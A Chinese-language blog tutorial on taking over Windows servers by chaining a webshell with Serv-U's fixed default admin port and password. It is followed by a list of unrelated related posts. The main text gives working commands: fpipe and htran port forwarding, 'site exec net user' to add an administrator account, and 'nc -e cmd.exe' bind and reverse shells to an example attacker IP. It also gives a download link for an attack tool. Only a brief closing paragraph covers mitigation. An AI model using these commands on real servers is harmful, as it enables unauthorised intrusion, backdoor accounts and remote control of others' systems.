服务器系统获取最高权限,webshell+servu获取系统最高权限

偏执的太偏执、 2022-09-03 06:18 109阅读 0赞

您正在看的ftp服务器教程是:webshell+servu获取系统最高权限。下面详细说说webshell+serv-u获取系统最高权限的方法及补救方法。

原理:

serv-u默认监听127.0.0.1:43958,在本机才能连接这个管理端口,serv-u默认管理账号是LocalAdministrator,默认密码是"\#l@$ak\#.lk;0@P"，这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1，然后在你自己的机器，用"serv-u administrator"新建SERVER，

目标IP:12345

User:LocalAdministrator

Pass:"\#l@$ak\#.lk;0@P"

那么目标机器的serv-u就归你管了。

利用的前提:要有目标机器的普通权限的SHELL，不需要能终端或物理控制台登录，只要有个shell，能运行端口数据转发的程序就可以了

如何得到一个shell:sql注射得到webshell或者直接利用动网7.0 sp2以下的上传漏洞上传webshell

具体实施方法：

1.利用得到的webshell上传转向程序fpipe,然后执行fpipe -v -l 12345 -r 43958 127.0.0.1

2 .在你自己的机器，用"serv-u administrator"新建SERVER，依次填入

ip:目标IP

端口 :12345

User:LocalAdministrator

Pass:"\#l@$ak\#.lk;0@P"

现在你就可以管理这台服务器的serv-u了，新建一个账号，权限为系统管理员(system administrator),并在"目录访问(Dir access)"选项中给予"执行"权限(execute).

3. ftp连接，然后执行quote site exec net user iisuser password /add

添加一个用户名为iisuser密码为password的用户，加到管理员组 quote site exec net localgroup administrators iisuser /add,现在就可以连接终端并登录了。

当然也可以进行别的操作，例如上传一个nc.exe,在目标机器上得到一个管理员权限的shell,可以正向连接，也可以反向连接。

正向连接:连上ftp以后执行 quote site exec nc.exe -l -p 23 -t -e cmd.exe

这时目标主机就成了一台telnet服务器，你可以telnet上目标服务器的23端口.

反向连接：假设你的IP是202.96.209.168

1.先在自己的机器上运行(你要有一个外部IP):nc -vv -lp 99

2.在目标机器上运行 nc -e cmd.exe 202.96.209.168 99

在你的机器上就会得到一个目标机器的具有管理员权限的shell

如果对方进行了端口过滤或者设置了防火墙的保护(这种保护不限制反弹连接，如果限制的话就要换别的方法呢)，可以用TCP SOCKET转发来实现

打个比方：

我的机器为 A

我要测试的机器为 B\[不允许正面连接\]

我已经在B上得到呢一个SHELL\[只要guest的就行呢\]

我们可以这样连上对方的43958

I：我在本地监听二个端口23和56

23是等待B来连接的~

56是等待我来连接的~

II：B连接我监听的23，同时转发到本地的43958

这样管道就建好呢~对方的防火墙就拿我们没有办法呢~

此时在本地运行SERV-U新建一个SERVER，IP填上本地的127.0.0.1端口为56，用户名LocalAdministrator，密码\#l@$ak\#.lk;0@P

具体实施方法：

假设你的IP是 202.96.209.168

1.在你自己的机器上运行 htran.exe -listen 23 56

2.此时在本地运行SERV-U新建一个SERVER，IP填上本地的127.0.0.1端口为56，用户名LocalAdministrator，密码\#l@$ak\#.lk;0@P

3。在目标机器上运行 htran.exe -slave 127.0.0.1 43958 202.96.209.168 23

如果不能在webshell下直接运行，可以写一个asp脚本来执行,内容如下

connect.asp

执行http://目标网址/connect.asp，如果出来一片空白，没提示什么错误，现在你应该可以管理目标服务器的serv-u了

余下的事情就看您自由发挥了。

htran.exe是一个多线程包转发工具，可以到红盟下载http://www.cnhonker.com/download/releases/Tools/HTran.rar

防止方法：

自己给serv-u打补丁，改变默认端口及管理密码。改密码要修改ServUAdmin.exe,ServUDaemon.exe这两个文件，改端口只要在ServUDaemon.ini文件\[GLOBAL\]选项中加入LocalSetupPortNo=12345即可

很遗憾，在serv-u的最新版本serv-u 5.2.0.0中依然没有任何改变，默认的管理端口及密码还是原来的。

发表评论取消回复

表情：

评论列表（有 0 条评论，109人围观）

还没有评论，来说两句吧...

相关阅读

相关服务器系统获取最高权限,webshell+servu获取系统最高权限

您正在看的ftp服务器教程是:webshell+servu获取系统最高权限。下面详细说说webshell+serv-u获取系统最高权限的方法及补救方法。原理: serv-

偏执的太偏执、/ 2022年09月03日 06:18/ 0 赞/ 110 阅读

相关 Ubuntu14.0.4系统如何获取root权限

原文：[http://jingyan.baidu.com/article/0bc808fc6184c81bd585b948.html][http_jingyan.baidu.c

墨蓝/ 2022年08月18日 03:10/ 0 赞/ 157 阅读

相关获取Android系统的ROOT权限

在 Android 开发中，有很多时候都需要获得系统的 root 权限，比如查看某些应用的 SQLite Database 等等。这里简要地提供一些应用与思路。 PS：测试机

末蓝、/ 2022年06月14日 10:26/ 0 赞/ 231 阅读

相关 NotificationListenerService 权限获取

通知监听使用NotificationListenerService即可，但是要发送以下代码请求权限 Intent intent = new Intent(Setti

川长思鸟来/ 2022年06月13日 01:52/ 0 赞/ 245 阅读

相关 adb获取remount权限

adb shell su mount -o rw,remount -t yaffs2 /dev/block/mtdblock3 /system

比眉伴天荒/ 2022年06月09日 09:45/ 0 赞/ 164 阅读

相关 android 动态权限获取

android 动态权限获取至从android6.0之后，权限在清单文件AndroidManifest.xml里面申明都没有作用了，所以今天如果开发每一款a

素颜马尾好姑娘i/ 2022年05月31日 06:18/ 0 赞/ 168 阅读

相关 [Windows10]Win10如何获取最高管理员权限

使用Windows10的时候常常发现我们没有管理员权限，这对我们使用造成了巨大麻烦。今天我来分享一下 win10里面怎么获取最高管理员权限。（一）Windows

朱雀/ 2022年05月12日 11:46/ 0 赞/ 258 阅读

相关 Win10用户获取最高权限的方法？

Win10用户获取最高权限的方法？在初始化win10的时候，系统会要求我们创建一个用户帐户，可之后发现，自己创建的用户尽管已经是管理员，可很多应用程序依然没有足够的权限

╰+攻爆jí腚メ/ 2022年03月15日 20:10/ 0 赞/ 269 阅读

相关 mui获取相机权限

最近在做一个mui的项目，要用到人脸检测，mui上点打开了这两个相应的权限也没有作用 "<uses-feature android:name=\"android.ha

浅浅的花香味﹌/ 2022年01月23日 09:55/ 0 赞/ 281 阅读

相关权限系统设计

点击上方 [Java后端][Java]，选择设为星标优质文章，及时送达 ![format_png][] 作者 | iceblow 链接 | www.cnblogs.

冷不防/ 2021年08月19日 17:56/ 0 赞/ 395 阅读